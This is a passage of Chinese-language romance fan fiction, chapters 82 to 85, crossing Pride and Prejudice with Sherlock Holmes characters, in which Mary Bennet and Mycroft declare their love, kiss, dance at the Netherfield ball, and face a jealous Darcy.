莉迪亚翻了个白眼,玛丽从哪里去学?私人女校可不会教导这些,还是那本书上?说的像是小时候玛丽没尝试过看书,学习击剑,结果拿着树枝来挑战她,被她一下子抢走了树枝,再次按在花园的草坪上一样。 伊丽莎白瞪了一眼凯蒂,让她不许到处乱说。 几个姐妹们缩在一起,玛丽小声抱怨莉迪亚,莉迪亚和玛丽吵吵闹闹,伊丽莎白在一边劝和,凯蒂则是悄悄的在旁边打量四个人。 凯蒂咕噜咕噜的转着小眼珠子,觉得这个家里,自己真是最聪明的一个,她知道所有人的秘密! 班纳特先生依然在书房里看着自己的书,加德纳夫妻去了梅里囤,和菲利普斯夫妻一起住两天。 晚上各自回到房间,玛丽躺在床上,翻来覆去的,心里满是甜蜜滋味。 虽然只短短的分离了几天,但是玛丽第一次体会这种感觉。 看不见一个人,心里会一直想念这他,这种想念和想念家人不一样。 想念家人,嘴角会忍不住的往下垮塌下去,心里是酸涩的,眼眶会发热,想要流下眼泪,这种想念像是吃到了苦涩的果子。 可是想念麦考福特先生不一样,是另一种感觉,是嘴角向上的,是忍不住想要微笑,心里充满了甜蜜的感觉,舌尖都带着甜,仿佛喝了蜂蜜水,从喉头一直涌到胃里。 全身上下,都带着放松和快活,充满了力量的想念。 而如今,这位让她充满力量的先生就住在梅里囤。 玛丽忽然坐了起来,打开窗户。 虽然显得傻乎乎的,但是玛丽忽然想起了之前她偶然打开窗户时看到麦考福特先生的感觉。 那一瞬间,她大约也是惊喜的。 玛丽被冷风吹拂了脸颊,她明白了麦考福特先生所说的话。 此时此刻,她忽然明白了简,为什么下了雨,明知道见不到,也会想要去内瑟菲尔德。 简想要见到宾利,哪怕只有微乎其微的可能,正如她打开了窗户。 哪怕只有微乎其微的可能,玛丽想着,她想要见到麦考福特先生。 82 第82章 第二天一大早玛丽就起床收拾妥当,早早的来到了餐桌边,班纳特先生看到她的时候都愣了一下:“今天起的很早,玛丽?” 玛丽随手将餐巾摆放好,拿起一边的刀叉,给自己插了两片熏肉和一块鸡蛋:“是的,我和麦考福特先生约好了,今天一起在梅里囤逛一逛。” 班纳特先生用一种全新的眼光打量着女儿:“哈,去梅里囤逛逛,这话听着和莉迪亚似的。” 玛丽笑了一下:“好了爸爸,别这样说。” 班纳特先生挑了一下眉毛,没有再继续说出什么怪话,不论如何,有一个好先生和自己的女儿相爱,他还是很乐见其成的。 等到玛丽吃完了早餐,收拾妥当准备出门的时候家里其他人才姗姗来迟。 看到玛丽要出门,莉迪亚冲在第一个:“你要去哪里?” 玛丽一边在希尔的帮助下穿上宽大的斗篷一边给自己带好羊绒帽子,今天的风有些大,耳朵一直被风吹的话会冻僵的。 “去梅里囤,昨天和麦考福特先生约了一起散散步。” 莉迪亚站在门边上:“那你应该在家里等他,绅士应该主动前来邀约,而不是让你自己去梅里囤找他。” 玛丽看了眼莉迪亚,她倒是对于男女之间的手段信手拈来似的:“不错的想法,但是很不凑巧,我可不是什么乖乖待在家里等待绅士上门的淑女,莉迪亚,我会记得给你带一块小蛋糕的,我先走啦。” 说完玛丽拎着小手包走出了庄园。 莉迪亚跑到窗口,看着玛丽快快活活的垫着脚往外走,整个人步态轻盈,没有以往的那种稳重和不慌不忙,显得整个人很迫不及待似的。 小小的哼了一声,莉迪亚回到餐桌,旁边的班纳特夫人正在喝牛奶:“妈妈,看来明年玛丽可以和简一起举办婚礼了。” 班纳特夫人笑的很开心,但是说出来的话大吃一惊:“那可不一定,玛丽说不定会明年或者后年再结婚。” 一边正准备放下餐具离开餐桌的班纳特先生都惊呆了,从透过眼镜的上缘看着自己的夫人,这是她会说出来的话? 班纳特夫人自顾自的吃着早餐,没有再多说什么。 朗伯恩到梅里囤很近,走路快的话半个小时就能到,玛丽一路走到梅里囤,刚准备前往福斯特上校的家,就看到不远处的两匹骏马。 其中一匹骏马上是福斯特上校,另一个正是麦考福特先生。 麦考福特第一眼就看到了玛丽,驾驭着骏马来到玛丽的身边,一个翻身下了马:“我还想着稍后去朗伯恩接你。” 玛丽上前握住麦考福特先生的袖子口,他今天穿着一身骑马装,外套有些紧绷在身上,袖口上还带着两个装饰性的袖扣,皮质的手套抓着马鞭,显得帅气又英俊:“我想要早点见到你。” 麦考福特心里满怀柔情,玛丽小姐只需要一句话,就能让他的心里流出蜜一般的甜蜜滋味:“我也想念你玛丽小姐。” 一边的福斯特上校也来到两人身边,麦考福特伸出手臂,玛丽挽了上去和福斯特上校打招呼。 福斯特上校认识这个小姑娘,毕竟他的小妻子很喜欢莉迪亚班纳特,经常在举办舞会的时候邀请班纳特家,甚至经常单独邀请莉迪亚来家里做客,和她一起喝下午茶。 麦考福特微笑着和福斯特上校告别,一只手牵住玛丽,另一只手拽着缰绳:“吃过早餐了么?” 玛丽看着路上没有什么人,偷偷将脑袋靠在麦考福特先生的臂膀之上,小心而快速的给了他一个拥抱,松开了之后才回答:“吃过了的,我今天起的很早,吃了早餐就来了。” 顿了顿,玛丽又小声的凑近了一些:“麦考福特先生。” 麦考福特停下脚步,看了眼玛丽,发现玛丽的眼睛里似乎充满着柔光,绿色的瞳孔看着他,眼里只有他,那双美丽的眼睛此刻笑着:“怎么了玛丽?” 玛丽笑着开口:“我昨天晚上忽然明白了一件事情。” 麦考福特看了眼周围,,不着痕迹的带着玛丽走入两栋建筑中间的小巷,玛丽再继续用这种眼神看他,他可不敢保证自己会不会亲吻面前这个心爱的姑娘。 帅气的骏马站在路口,挡住了巷子里的两个人。 麦考福特伸手抚摸着玛丽的脸颊:“你明白了什么。” 玛丽歪着头,用脸颊一点点的磨蹭着麦考福特先生的手套,皮质的手套上带着一点点香味,玛丽侧过脸颊,用鼻尖在手套的掌心处嗅闻,似乎觉得味道太淡,玛丽握住麦考福特先生的手腕,顺着掌心,一直嗅闻到了掌根,手腕。 鼻尖带着一点了凉意,接触到了温暖的手腕处,麦考福特的手腕有两道明显凸起的血管痕迹,淡青色的血管在皮肤上很明显,玛丽的手并不用力,但是麦考福特没有丝毫动作,只是微笑看着玛丽像是小狗一样的在他的手腕处嗅闻。 玛丽一直用鼻尖轻点着手腕处的血管,手腕的温度要比皮质手套更高,烘烤的香味更加浓郁,是一种带着厚重的木质香味。 说不上来,但是玛丽忽然觉得,这个香味……很诱人。 玛丽伸出舌尖,轻轻的舔舐了一下,麦考福特几乎是立刻浑身僵直,想要将手腕收回来,可是却被玛丽遏制住了。 太奇怪了,这是玛丽第一次表现出如此强势的一面,她一直都是很温柔乖巧的姑娘,麦考福特难得看到她如此强势的动作。 玛丽抓住了麦考福特先生的手套,她的手指穿过麦考福特指缝的缝隙,麦考福特背靠着墙壁,像是一个茫然的毛头小子,看着玛丽一点一点剥离下他的手套。 先是捏住了手套的指尖部分,她的指腹很柔软,大拇指的指腹隔着小羊皮抚摸过他的食指,那根食指就立刻像是被火撩过一半,燃烧起来。 玛丽一根接一根的手指抚摸过去,然后顺着手背,抚摸到了搭扣的位置。 咔哒一声,麦考福特感觉自己听到了手套搭扣被解开的声音。 麦考福特的耳膜都感觉到了一种跳动的鼓噪声,像是心跳。 玛丽解开搭扣,然后抬头看向麦考福特先生,他站在原地,看上去没什么表情,只是一双眼睛直直的看向她。 两人就这么看着对方的双眼,麦考福特的看着玛丽脱下了他的手套,然后塞进他的裤子口袋。 骑装的裤子特别贴身,他大腿紧绷,腰带的搭扣勒在胯骨的两侧,此刻麦考福特甚至能感觉到自己的胯骨处有一种诡异的疼痛,那是玛丽拿着手套,塞进他口袋时碰到的位置。 玛丽再次握住了他的手指,引领着他的手抚摸在自己的脸颊处。 麦考福特的手掌特别很热,她总是不爱戴手套,一个冰冷的手掌和一个炽热的手掌就这么交叠在一处。 玛丽在麦考福特的掌心落下了一个吻,然后沿着手掌的脉络一点点吻向手腕。 现在麦考福特不只是觉得胯骨的位置疼痛,而是脊椎,手臂,全身上下都在泛着诡异的疼痛。 那种火焰从腹部一直燃烧到了心脏。 玛丽扬起脸,伸手环住了麦考福特的脖子,声音很柔软:“麦考福特先生,我明白了,我是如何的真切的,爱上了你。” 麦考福特感觉到一种仿若晴天霹雳一般的惊喜,那种洪水一般的喜悦彻头彻尾的淹没了他,以至于他的眼眶都开始泛起热意。 玛丽继续开口说道:“当你忽然出现的时候,我的心快活的像是要跳出来,当你离开朗伯恩,我躺在床上,却忽然打开窗户的时候,我忽然明白,我爱上你了,我的心,不再只属于我。我,我想要见到你,我想要和你拥抱,还有,我此时此刻,想要亲吻你,不只是……” 麦考福特没有给玛丽说完的机会,他几乎是无法控制的,双手掐在玛丽的腰间,宽大的斗篷下,玛丽的被麦考福特一整个拥入怀中。 狭窄的巷子里,麦考福特低着头,帽子早就被丢到一边的地上,一只手撑着墙壁,另一只手在玛丽的后腰处揉捏着柔软的腰肢。 炽热的唇瓣仿佛要把玛丽吞吃下去,麦考福特感觉自己仿佛要被火焰燃烧殆尽,他的头脑里什么都没有了,只剩下一件事,亲吻眼前这个美丽的姑娘。 玛丽双手环抱着麦考福特的脖颈,时不时抚摸过略带蜷曲的发丝。 那充满攻击意味的舌尖深入腹地,引领着另一个伙伴一起共舞,青涩稚嫩的同伴被裹着着,只能一点点的后退,但是对方根本不给后退的机会,一个后退,另一个就只会进攻进攻。 火热的气息让麦考福特感觉不够,还不够,他想要更多。 侧过脸颊,轻轻的咬着娇嫩的唇瓣,麦考福特觉得太甜了,为什么玛丽小姐的身上,总是充满着这样甜蜜的味道。 手掌下的腰肢瘫软着,玛丽只觉得自己快要无法呼吸了,靠在麦考福特的胸口喘息着,尚未呼吸两下,又再次被吸走了所有的氧气。 等到两人真的分开时,麦考福特的发丝已经被玛丽揉搓的不像样子,真的成为了一个“毛头小子” 麦考福特浑身紧绷,但是心里却软的一塌糊涂。 玛丽还在大喘气,嘴唇鲜红一片,像是用了巴黎最新的口红,等到喘匀了气息,才再次抬起头看向麦考福特,他双目赤红,脸颊也通红一片,嘴唇水润泛着光,看上去就知道刚才做了什么。 麦考福特根本无法控制自己的笑容,他现在看到玛丽,就想要微笑。 玛丽看着他:“麦考福特先生,亲吻和拥抱,不再只是我学习爱的途径,而是我爱你的表达方式。” 说完,玛丽踮起脚尖在麦考福特的脸颊落下了一个吻:“这是我在说,我爱你。” 【作者有话说】 这一段给我憋死了啊啊啊啊啊 83 第83章 麦考福特在幽暗的小巷内冷静了许久,才终于重新和玛丽回到大路上,一只手牵着马,另一只手却不敢再去握住玛丽。 玛丽似乎把他的手当做什么好玩的玩具,从指尖到手背的骨骼经络,一点一点的抚摸揉搓,从手掌到骨头都烧着火,麦考福特只觉得全身上下的感觉都汇集在小小的手掌之上了。 再给玛丽这么玩下去,恐怕一天都走不出这巷子。 梅里囤并不大,只有十几户人家,大家都住的比较分散,玛丽带着麦考福特从一段走到另一端也不过一个小时罢了。 圣诞期间,梅里囤的店铺开的不多,只有两家旅馆和两家小餐馆开着。 玛丽指着其中一家餐馆:“这家的玛德琳小蛋糕好吃极了,是他们家厨师的当家手艺。” 麦考福特凑到玛丽的耳边:“要去尝一尝么?” 玛丽却摇摇头:“这个时间还没供应呢,他们家都是下午茶的时候才有,中午我们可以去姨妈家里就餐,菲利普斯姨妈家就住在梅里囤,莉迪亚很喜欢去姨妈家里。” 麦考福特:“昨天回去之后我看了看附近的驻军,都是一个月调来的,没什么特殊人物,你想要打听谁?我都可以帮你看一看。” 玛丽摸了摸下巴:“嗯,按照莉迪亚的喜好,大约是高高壮壮,穿着红制服显得身姿挺拔,相貌也要英俊帅气的。” 麦考福特忍着笑容:“哦,看来我需要帮你关注关注,有没有美少年?” 玛丽小小的翻了个白眼:“我可不能让莉迪亚不明不白的被骗了去。” 顿了顿,玛丽继续说道:“但是也不说好,莉迪亚可能只是喜欢对方长得好看,等到他们调走,莉迪亚很快就会换一个人喜欢的。” 麦考福特:“看来玛丽小姐是一个十分宽容的姐姐!” 玛丽听出麦考福特的揶揄,气的用手掐了他的胳膊一下:“你这样说,显得我很不道德一样!” 只许莉迪亚骗别人,可不许别人骗莉迪亚。 玛丽气哼哼的:“莉迪亚太单纯了,很容易被骗的。” 麦考福特并没有发表自己的意见,虽然在他看来,莉迪亚这样的小丫头实在是有些胡闹,而且没有自保的能力,但是玛丽对家人总有无限的包容。 玛丽也会闯祸胡闹,但是她总能在遇到问题时想办法解决问题,她有着解决问题的手段和能力,但是莉迪亚没有,莉迪亚就是一个普普通通的小丫头,她连划破了手指都会大呼小叫的让所有人关注她。 两人一路走到了梅里囤的郊外,白茫茫的大地上,远处是冰冻了的湖水,连绵起伏的山脉和森林显出一片乡村冬日景色。 玛丽靠在麦考福特的肩膀上:“真是漂亮,以前我总是忽视这些美丽的景色,总觉得这些山,这些森林,禁锢了我的自由……但是现在我真正的爱上了乡村的景色,山还是那些山,但是我的心变了,我爱我的家人,我也爱你,麦考福特先生,爱让我打开视野,重新看待这个世界。” 麦考福特伸手环住玛丽的肩膀:“我们很幸运,玛丽小姐,遇见了彼此。” 玛丽没有说话,只是靠着麦考福特,感受他的温度。 两人看了一会景色,转身回到镇上,临近中午,玛丽带着麦考福特去拜访了姨妈。 菲利普斯夫妇和加德纳夫妇都在,几人坐在餐厅就餐,麦考福特和两位先生相谈甚欢,只要他愿意,麦考福特可以轻易的讨的所有人的欢心。 加德纳舅妈坐在玛丽的左手边,她微笑的看着玛丽:“你看上去很开心玛丽。” 玛丽正看着麦考福特先生和加德纳舅舅讨论之前新出的某个政策,哈,男人总是喜欢聊这些,听到加德纳舅妈的话,玛丽转过头来:“是的,我确实很开心。” 加德纳舅妈伸手抚摸着玛丽的头发:“我真替你高兴,孩子,真的。” 玛丽上次来伦敦,帮助加德纳先生的时候,整个人看上去都很紧绷,好像时刻准备和这个世界打一架,对所有的事情和规则充满了愤怒,之后她遇见了很多事,也遇见了很多人,加德纳太太很担心玛丽,她总是与众不同,就像是一个独立于社会之外的人一样,现在玛丽这座孤岛,终于寻到了另一个同伴。 加德纳太太是真切的为这个孩子高兴,不一定是要遇到爱情,但是至少玛丽拥有一个可以同频共振的朋友,虽然加德纳太太此刻还不明白,什么是同频共振,但是至少,玛丽拥有了一个说的上话的爱人。 一顿饭吃完,玛丽和麦考福特先生决定去逛一逛商店,玛丽摇晃着手里的小手袋:“爸爸给我了我圣诞礼物,二十英镑呢!” 二十英镑可不是什么小钱,麦考福特故意做出一副夸张的模样:“天哪,真是好大一笔财富!” 玛丽扬起下巴:“走吧麦考福特先生,今天我会给你好好打扮打扮的。” 喜欢一个人,总是无法控制的想给他花钱。 玛丽此刻就有一种冲动,想要买上一些礼物,妆点麦考福特先生。 兴致勃勃的拽着麦考福特,玛丽走近了一家店铺,柜子上摆放着一些领巾,手帕,还有男士手套,甚至还有袖扣。 不过袖扣比较昂贵,一套就要十几英镑。 玛丽挑挑选选,麦考福特也没拒绝,他十分享受这种玛丽小姐给他挑选装饰品的过程。 看来看去,玛丽选择了一方暗红色的手帕,还有一对袖箍。 袖箍也是暗红色的,大约一指半的宽度,末端是金属的搭扣。 因为身上是骑装,脱掉外套里面就是一件长衬衫和马甲,今天的麦考福特没有佩戴袖箍,毕竟骑装本就贴身,不需要额外调整袖口。 店主表示可以在里面的更衣间试戴一下。 麦考福特拿起袖箍准备进去,却被玛丽伸手拉住。 玛丽:“我来帮你试试?” 麦考福特眼神晦涩幽暗,却慢条斯理的脱掉了外套,里面黑色的马甲紧绷在身上,他身上的肌肉此刻都在紧绷着。 伸出手臂,玛丽小心的调整了袖箍的位置,沿着手肘,玛丽抚摸到大臂中段的位置,捏了捏麦考福特先生的臂膀,玛丽小声的恭维道:“麦考福特先生,你的胳膊真有力气,难怪每次都掐的我腰疼。” 这句话几乎是在麦考福特的耳边说的,麦考福特左手抬起,给玛丽试戴袖箍,右手却背在伸手,用力的捏成了拳头。 玛丽拿起袖箍的两段,她站在麦考福特的左侧,比划着,然后将其中一端按在臂膀上,胳膊上的肌肉抽动了一下,玛丽抬头看了麦考福特先生一眼,然后绕过臂膀,从另一端插入搭扣,细长的手指裹着暗红的袖箍,绑在洁白的衬衫上,勒紧后显示出粗壮的肌肉,玛丽的感觉自己的脸颊有些热,麦考福特则能感觉到自己的后背和额头都开始冒汗了。 红色的绑带在玛丽的手指上显得更加艳丽,明明是暗红色,却显出红酒一般,醉人的迷惑感。 麦考福特只怕再让玛丽这么绑下去,自己要出大丑,默默的伸出手,接过另一端的绑带,重新带上黑色手套的手指覆盖在玛丽的手上,黑色的皮质手套捏紧了红色的绑带,一个用力,紧紧箍勒出肌肉的线条,金属的搭扣发出啪嗒一声,玛丽觉得自己大汗淋漓,仿佛做了什么剧烈运动,她退到一边,看着麦考福特先生一边注视着自己,一边给自己绑上袖箍,仿佛带上什么锁链。 稍微调整了一下袖箍的高度,麦考福特左右活动了一下手臂。 玛丽慌乱的移开视线:“多少钱?” 店主抬起头,梅里囤的人家大多彼此认识,对于玛丽店主也是知道的,给出了一个合适的价格之后玛丽胡乱从手袋里掏出一堆零散的英镑。 然后抓着麦考福特的手臂从店铺离开。 一直到外面,被冷风重新吹上脸庞,玛丽才感觉自己的脸颊稍微降低了温度。 麦考福特正在穿戴外套,玛丽低着头在前面走着,麦考福特的大长腿紧跟在后面。 玛丽走了好一段,发现麦考福特一直没说话,反而开始生气起来,她都不知道自己为什么生气,但是却忽然回过头:“麦考福特先生!” 她很严厉的话语让麦考福特忍不住想要笑出来,麦考福特看的出来,玛丽是害羞了,他反而低下头温柔的看着玛丽:“怎么,玛丽小姐?” 玛丽左看右看,路上虽然人不多,但是也算是有一些人家,玛丽握住麦考福特的手指,将他拉的路边,因为将马匹暂时放在姨夫家门口,此刻两人没什么遮挡,玛丽几乎是用麦考福特的后背挡住那些视线:“麦考福特先生,你不能这样!” 麦考福特还是笑着:“哦?我怎么了?玛丽小姐可要和我说清楚,否则我都不知道自己哪里做错了。” 玛丽气哼哼的,趁着所有人不注意,拉住麦考福胸口的衣服,让他微微弯腰,自己却踮起脚尖,在麦考福特的嘴唇咬了一下:“你不能这样散发魅力!你……这样太性感了,让我想要狠狠的咬你一口!” 麦考福特在这场战役中简直称得上惨败,唇角微微带着刺激的疼痛让麦考福特差点丢盔卸甲,上帝作证,明明在散发魅力的是玛丽小姐! 玛丽的指尖扯住他的衣服,语气带着害羞和恼怒:“你太好看了,如果你这样随便散发魅力,会很吸引我的,我会忍不住的想要亲吻你,咬你一口!” 麦考福特的喉结上下滑动,低沉的嗓音在玛丽的耳边响起:“玛丽小姐,或许,我也希望你能狠狠的咬我一口呢。” 【作者有话说】 昨天梳理了一下大纲,距离完结,不会太遥远了[狗头叼玫瑰] 84 第84章 麦考福特说尽了好话,送上了一万个甜蜜的吻,这才算是哄好了玛丽。 两人分开的时候,麦考福特看着玛丽艳红的唇色觉得心动不已,玛丽小姐是怎么做到的,怎么可以如此轻而易举的撩拨他的心弦。 麦考福特握着玛丽的手:“接下来几天我会外出,但是我想你保证,我会尽量赶在舞会前回来,期待在舞会上看见你,玛丽小姐。” 玛丽哼了一声:“那要看舞会有没有值得我去的绅士。” 麦考福特笑着捏了捏玛丽的指尖:“舞会上会有一个非常期待你到来的绅士,不知道能否有这个荣幸,预定你的第一只舞?” 玛丽将手抽了回来:“再说吧,麦考福特先生,如果你没有及时出现的话,那可就不能怪我了。” 虽然这么说,但是玛丽还是在麦考福特的脸颊落下一枚亲吻:“祝你一切顺利,可别错过了舞会。” 麦考福特看着玛丽离开的背影,一直等到路的尽头什么都看不见了,麦考福特才转身离开。 原本麦考福特想要送玛丽回去,但是玛丽拒绝了,她可不想被莉迪亚她们调笑,虽然大家都知道她是来找麦考福特先生的。 回到家里之后度过了几天平静的日子,莉迪亚和凯蒂每天都出去疯玩,班纳特先生也没管束她们,伊丽莎白倒是找他说了一些话,但是显然班纳特先生并没有付诸实践,莉迪亚也没闯出什么大祸,只是爱出去玩,就梅里囤这片地方,都是熟悉了几十年的朋友们,莉迪亚也不会发生什么意外,唯一的意外就是因为出去跑的太多,凯蒂有些着凉了。 结果就是到最后班纳特先生也没说什么。 很快就到了舞会的日子,玛丽这次没有再糊弄了事,认认真真的选了几条裙子,可是自己拿不定主意,最后还是莉迪亚帮她定下来的,在这方面莉迪亚的审美确实比她更好,舞会的前一天麦考福特先生送来一套首饰,是珍珠的耳环和项链,带上去秀气又美丽,显得玛丽整个人端庄又典雅。 在玛丽带上这一套首饰之后,莉迪亚从自己的首饰盒里“勉为其难”的找出一条珍珠手链,将这条手链编在玛丽的发髻中,灯光一照显得好看极了。 虽然看得出来品质不如麦考福特先生送的,但是玛丽很高兴莉迪亚的帮助:“谢谢你,莉迪亚,你真是个贴心的好妹妹。” 莉迪亚做出呕吐的表情:“你说话像是妈妈一样,别这样,真让我不习惯!” 玛丽气呼呼的用手里的扇子拍了一下莉迪亚,眼看着两人又要打闹起来,还是班纳特夫人阻止了她们:“别闹了,快点收拾好出门!” 两人重新分开,莉迪亚撇撇嘴:“今晚你的福尔摩斯先生一定会很惊喜的。” 玛丽抚摸着裙边:“哼,说不定他来不了呢,指不定有什么事情要忙。” 莉迪亚翻了个小小的白眼:“那到时候我就介绍别的舞伴给你,反正你今天不许躲在角落里。*” 玛丽牵着莉迪亚的手,跟在妈妈身后:“好呀,如果他今天不在,我倒要和别人跳跳舞了,总归不能浪费你帮我装扮的头发。” 马车一路来到内瑟菲尔德,还是和上次一样,宾利先生带着自己的姐妹和姐夫在门口迎接客人,达西站在他们身后,脸色惨白,看上去整个人失魂落魄的。 和班纳特先生问好之后,宾利的眼神就黏在了简的身上。 经历了求婚之后,简的情感更加外放,一进来就用一双充满感情的双眸看向宾利,两人的视线很快交汇,彼此都看不到别人了。 宾利像是个傻小子,竟然就这么带着简走进了舞厅,留下宾利姐妹和姐夫,还有达西先生在门口待客。 达西努力扬起一抹笑容和班纳特夫人还有其余几位小姐问好。 玛丽微微点头回礼,然后就跟莉迪亚走进了舞厅,宾利小姐看着达西的视线一直追随在玛丽的身后,心里有些嫉妒,他们两人都已经分开那么久了,怎么达西先生还是这样一幅念念不忘的样子。 舞厅里没有找到麦考福特先生,玛丽有些垂头丧气,很失望的站在一边。 莉迪亚垫着脚尖,找了半天也没看到那位严肃的福尔摩斯先生,心里有些生气,怎么这样!枉费她把玛丽打扮的这么漂亮,真是个说话不算话的先生。 拽着玛丽的手,莉迪亚就准备带她去看看那些帅气的军官们,指不定就能认识什么新的先生。 玛丽却倔强的站在原地:“舞会还没开始,说不定路上耽误了呢。” 莉迪亚看着玛丽,觉得她太不争气了:“福斯特上校都来了,我都看到了,他一个客人倒是还没来,真是奇怪,算了,你要不要和我去跳舞?” 玛丽摇摇头,想要再等一等。 莉迪亚甩开玛丽的手,去找别人玩去了。 凯蒂今天有些不舒服,留在家里休息,伊丽莎白也留在家里照顾她。 莉迪亚一个人在场子里和朋友们玩耍,很快角落里就爆发出一阵笑声,莉迪亚拽着一个先生的手臂,不知道在说什么。 玛丽微微皱起眉头,发现竟然是那个维克汉姆,真是古怪,他怎么还敢来这里的? 维克汉姆感觉到背后的视线,回过头就发现是那位古怪的玛丽小姐,今晚她倒是漂亮极了,扬了扬手里的酒杯,维克汉姆毫无廉耻的冲着玛丽笑了笑。 玛丽不耐烦搭理他,干脆站在靠近门口的位置,冲着外面张望。 心里装着爱人,就连等待都是甜蜜的。 幸而麦考福特先生是个说话算话的人,临近开始的时间,他急匆匆的从门口走了进来。 宾利被简劝回了门口招待客人,他看到麦考福特之后很热情的伸手问好。 达西站在宾利身后,看着这位先生,穿着一身正装,但是用着暗红色的领巾,袖口也是红宝石,看上去像是个花花公子,达西对这样的人很是看不上。 真正的绅士应该表现在自己的道德和内在,而不是装饰自己的外表。 但是玛丽小姐显然被这样的花花公子迷惑了,她高兴的走到门口,挽上了麦考福特的手臂。 达西听着她用从未有过的甜蜜嗓音抱怨:“你怎么来的这样迟,害我等了好久,还以为你不会来了。” 麦考福特笑着微微侧身:“十分抱歉,路上因为小事耽误了。” 玛丽很快就原谅了他:“那好吧,这次就原谅你了,下次可不许让我这样等你。” 两人一起走进舞厅,达西站在身后,甚至带着一些愤怒,指不定玛丽小姐是被他欺骗了! 但是很快这种愤怒就淹没在了悔恨里,是因为自己的犹豫和过错,才会导致玛丽小姐被这样的花花公子欺骗。 客人来的差不多,达西和宾利一家也走进了正厅,整个舞厅很热闹,角落的乐队一首曲子接一首曲子。 麦考福特正和班纳特先生说话,玛丽站在一边挽着他的手臂,听着两人的聊天,偶尔自己也会说上两句。 听到一首活泼的小调,莉迪亚不知道从哪里窜了出来:“快来和我们跳舞,玛丽。” 玛丽看着麦考福,眼里饱含笑意。 麦考福特连忙打住了谈话,侧身鞠躬伸出手,邀请玛丽一起步入舞池。 两人的眼里只有彼此,麦考福特高大健壮,玛丽今天的裙子也显得她高挑又典雅,两人相配极了。 一起进入列队,麦考福特这样一个陌生面孔和班纳特小姐共舞,真是让大家很是震惊。 大约是班纳特先生特意交代过,班纳特夫人在别人打听的时候,只是说麦考福特是福斯特上校的朋友,一个伦敦城里人。 具体收入倒是透露了出去,一年足足有一万五千英镑! 上帝啊,比宾利先生还要多得多。 周围的夫人们都围绕在班纳特夫人身边,听着她侃侃而谈,自己是如何支持玛丽多读书,多长长见识,还是要去伦敦,去大城市,才能遇到这样的绅士。 这一切玛丽和麦考福特都没在意,两人在舞池中翩翩起舞,牵着手的时候,玛丽忽然笑了起来。 麦考福特小声的询问:“想到什么开心的事情么?” 玛丽在人群中捏了一下麦考福特先生的指尖:“我想到了那秋日的晚风,麦考福特先生,那天晚上的你可真是帅气。” 麦考福特知道玛丽在说什么,两人第一次跳舞的时候,在玛丽的会客厅里,当时夏洛克在二楼伴奏。 舞蹈的最后,两人靠在一处,玛丽扬起脸庞看着麦考福特:“麦考福特先生,你仿佛走在美的光彩中,你的双眼像夜晚,皎洁无云、繁星漫天,黑夜与白天最美妙的色彩都在你的面容和目光里显现。” 麦考福特握着玛丽的手陡然变得很紧,那双柔软细长的手凭空扼住了他的咽喉,以至于几乎快要让麦考福特喘不过气来,想要张嘴说什么,却感觉喉头哽咽紧缩。 人群逐渐散开,麦考福特却沉默的牵着玛丽的手,在大家交谈说笑的时候,麦考福特不着痕迹的牵着玛丽来到了露台。 玛丽没有开口询问,而是安静的跟在麦考福特的身后。 两人在露台上,麦考福特抬手抚摸着玛丽的侧脸:“我爱你,我是如此真切的爱着你,玛丽小姐,虽然我先爱你,但后来你的爱却超越了我,因为丰盛的爱不分彼此,所以我们才有力量走向永恒,你和我,因为爱,从此以后成为一体。” 玛丽拥抱这麦考福特,两颗心靠的那样紧,以至于玛丽似乎听见了一种同频的跳动。 感谢伦敦,玛丽想着。 原本独立的两颗心,开始以一种同样的节奏,共同跳跃着。 85 第85章 这算得上是玛丽第一次如此投入一场舞会,两人一首曲子接一首曲子,场上所有人都看得出来,这是一对陷入了爱情的甜蜜有情人。 很快就有人来恭维班纳特太太,一下子拥有了两个好女婿,看看内瑟菲尔德,将来这一切都会是简的, 再看看那个着装体面的绅士,哦,对,他还有足足一万五千英镑的年薪收入,以后玛丽就是伦敦的富贵太太了! 这是何等的运气。 在听说玛丽和那位先生的事情之后,宾利小姐立刻对玛丽露出了从未有过的热情微笑。 上帝保佑,这位小姐已经心有所属了! 宾利小姐挥舞着手里的扇子,仿佛一只翩翩起舞的蝴蝶飘到了达西先生的身边:“他们真是相配,不是吗?” 达西面无表情:“如果那位先生不是一个骗人的花花公子的话。” 宾利小姐娇笑着:“达西先生,虽然我没有那位玛丽小姐惊为天人的观察力,但是显而易见,他们陷入了爱情。” 达西转身离开了现场,他无法再看下去了,一切的一切都在提醒他的失败,他错过了自己的爱情,因为傲慢。 玛丽离开的时候甚至有些依依不舍,站在马车边和麦考福特先生依依惜别:“你什么时候回去伦敦?” 麦考福特站在马车窗边,他身姿挺拔,器宇轩昂,甚至不需要仰着头就能看着窗口的玛丽:“很快,玛丽小姐,我在此地不会停留很久,大约过两天就回去伦敦了。” 玛丽伸出手拽着麦考福特的袖子:“我还要再停留一周,等我回去了,会给你送信的。” 旁边的班纳特夫人一直笑眯眯的,反而是莉迪亚,止不住的翻白眼:“好了好了,快点回去吧,我可累坏了。” 玛丽愤愤的看了一眼莉迪亚:“你从前跳一整晚都不会累的!” 莉迪亚挤到窗口边:“你快点和玛丽求婚,我可受够她这样了!” 麦考福特被莉迪亚这样直冲冲的女孩子吓了一跳,真是想不到,自己未来的妻妹竟然是这样的性格,倒是十分有趣的一件事情。 玛丽涨红着脸:“你不要胡说!好了好了,我们回去了!” 把莉迪亚塞回妈妈的身边,玛丽一双手胡乱挥舞着想要按住莉迪亚的嘴,生怕莉迪亚再说出什么惊人之语,慌乱间手帕从窗口飘落,麦考福特捡起了手帕,还没来得及说话,就听见玛丽让马车快点回家。 站在原地看着远去的马车,麦考福特笑着将手帕叠好,妥帖的放在衣服口袋里。 正准备离开,却听见身后传来的一声呼唤。 麦考福特漫不经心的回过头,发现是那位达西先生。 两人隔着人群,达西走上前来:“可以和您谈一谈么。” 麦考福特掏出怀表:“已经很晚了,达西先生,而且我认为,我们可没什么好谈的。” 达西隐晦的看了一眼人群:“关于玛丽小姐的事情。” 麦考福特微微皱眉:“我并不认为私下议论淑女,是什么体面绅士的行为。” 达西当然知道自己并不该这么做,可是他无法忍受自己心爱的女孩被一个花花公子欺骗。 大约看出达西的别扭和执着,麦考福特将怀表放回口袋,和达西走到了另一边。 树丛的阴影中,两个先生间隔一步的距离。 麦考福特的身高比达西更加高大健壮,此时两人站的距离很近,以至于达西都感到一种压迫。 但是达西没有退缩,反而挺直了腰杆,仰起头盯着对面的先生:“真正的绅士应该注重内心的道德和品质,而不是用珠宝来装饰自己的外在,并指望以此来吸引淑女,这样花花公子的行为是不道德的。” 麦考福特想要冷笑,但是却控制住了,只是微微扯起嘴角:“这就是您想说的话?” 